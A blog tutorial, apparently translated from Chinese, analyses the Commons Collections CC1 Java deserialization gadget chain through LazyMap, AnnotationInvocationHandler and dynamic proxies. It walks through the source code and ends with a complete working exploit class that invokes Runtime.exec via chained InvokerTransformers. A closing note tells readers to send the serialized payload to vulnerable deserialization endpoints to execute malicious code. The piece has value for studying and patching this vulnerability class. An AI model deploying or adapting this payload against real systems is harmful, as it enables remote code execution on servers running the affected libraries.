CC1-LazyMap utilization chain-source code analysis

This article is based on the CC1 exploit chain, and the essence is the same. It is nothing more than using the get method of the LazyMap class to trigger the exploit chain. Before reading this article, you need to understand the principle of the first CC1 chain. Understand the first chain, this chain is equivalent to understanding 90%. If you don’t understand the first chain of CC1, you can read my article first:
https://blog.csdn.net/weixin_46367450/article/details/132274219

Vulnerability scope

JDk <= jdk8u65

commons-collections <= 3.2.1

Environmental preparation

The environment of this tutorial: jdk1.7.0_75, commons-collections version 3.2.1, maven (no version requirements), development tool IDEA (no version requirements)

Because the classes under the sun package are needed in the CC1 chain AnnotationInvocationHandler, but the source code under the sun package of the jdk7 version downloaded from the official website is a class file, and the source code package needs to be prepared. I have downloaded the source code package in advance and placed it in jdk1.7.0_75 , you can download it from here and use it directly according to the configuration shown in the figure below:

Link: https://pan.baidu.com/s/1wQjonrox8m6YroB8G24UYA?pwd=2mnm

Open Project Structure to enter the following interface

image-20230813113113721

Source code analysis

Previous situation review

In my last article, the source code analysis written by CC1 using the chain EXP , I took you to find the core class InvokerTransformer of the CC1 using the chain here, which implements

Transformer interface, the transformer() of the InvokerTransformer object can implement reflection calls to any method of any object, so we need to find out who called the transformer method. In the previous article, we found that there is a method in the TransformedMap class that calls transform (), this article will use LazyMap, as shown in the figure:

image-20230814205124884

look for get()

The transformer() method is called in the get() method of LazyMap:

image-20230814205505134

So we can continue to look up to see who called the get() method:

image-20230814205642657

After searching, I found that there are too many places to call get(), so I checked the information on the Internet and found that it still exists in the AnnotationInvocationHandler class:

image-20230814210115018

In this AnnotationInvocationHandler class, we found that there is an invoke() method, which just calls the get() method. Seeing the invoke() method, we can think of dynamic proxy. The invoke() method in dynamic proxy is easy to lead to vulnerability exploitation. Yes, because no matter which method a proxy object calls, it will call the invoke() method of InvocationHandlerd by default. Since there is a default call, it is easy to lead to vulnerability exploitation, which is similar to the default call readObject() method in deserialization.

So we need to find a way to call the method. Let's analyze the invoke() method again. If we want to get to the get() method, there are still conditions. The condition is that the method to call has no parameters.

image-20230815093547554

In the readObject() method, the get() method without parameters happens to be called, and memberValues ​​is controllable, so if the object is of Map type, and the Map type is handed over to a dynamic agent, then when the dynamic agent calls get After the () method, it will directly call the invoke method of the InvocationHandler object. As shown in the picture:

image-20230814211942540

Therefore, the get() method can be triggered when deserializing. The next thing we need to do is to construct a dynamic proxy and use AnnotationInvocationHandler as the InvocationHandler processor:

 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        //传入构造好的lazyMap
        InvocationHandler h = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        //构造动态代理
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{
    
    Map.class}, h);
//将mapProxy传给构造方法进行实例化
        Object o = constructor.newInstance(Retention.class, mapProxy);

Then use the constructed dynamic proxy as a parameter to use reflection to create an instance using the constructor of AnnotationInvocationHandler, and then serialize the returned result.

Summary of ideas of LazyMap chain

This chain is actually the same as the CC1 chain in my previous article. The main special feature is that it uses the invoke method of the InvocationHandler object in the dynamic proxy to call the get() method that we can use . Therefore, when we find that the invoke() method in the InvocationHandler object has methods that we can use, such as the get() method mentioned above, we can make a dynamic proxy and use this InvocationHandler as the handler for the dynamic proxy. When the proxy executes the method of the object to be proxied, it will automatically call the invoke() method, so what type of object is the proxy to be proxied by the dynamic proxy, because readObject() has it, and memberValues ​​is controllable, because the entrySet() memberValues.entrySet()method It is a method of the Map interface, so if the memberValues ​​object is of the Map type, it can be called, and if the memberValues ​​object is a dynamic proxy object, then the invoke method can be called.

Therefore, we need to construct an InvocationHandler object first. However, the AnnotationInvocationHandler object just implements InvocationHandler, so an instance of AnnotationInvocationHandler can be created through reflection. When creating an instance, the second parameter is passed into LazyMap, and then put into the dynamic proxy, and The interface to be proxied by the dynamic proxy is set to Map, as shown in the following code:

 //传入构造好的lazyMap
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        //构造动态代理
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{
     
     Map.class}, invocationHandler);

Pass the created dynamic proxy object to the AnnotationInvocationHandler object. When the AnnotationInvocationHandler object is deserialized, it will call the entrySet() method of the dynamic proxy object, and then call the invoker() method of the InvocationHandler object in the dynamic proxy, so that complete use

EXP writing

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-14 17:33
 **/
public class CC1LazyMapEXP2{
    
    
    public static void main(String[] args) throws Exception {
    
    
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value","value");
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        //传入构造好的lazyMap
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        //构造动态代理
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{
    
    Map.class}, invocationHandler);
        //将mapProxy传给构造方法进行实例化
        Object o = constructor.newInstance(Retention.class, mapProxy);
        ByteArrayOutputStream barr = serialize(o);
        UnSerialize(barr);
    }
    public static ByteArrayOutputStream serialize(Object o) throws Exception{
    
    
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
    }
    public static void UnSerialize(ByteArrayOutputStream barr) throws Exception{
    
    
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }
}

Practical use of ideas

Find the function point that needs to be deserialized, send our serialized payload to the function point for deserialization, and then form a CC1 exploit chain to complete malicious code execution.

Guess you like

Origin blog.csdn.net/weixin_46367450/article/details/132294968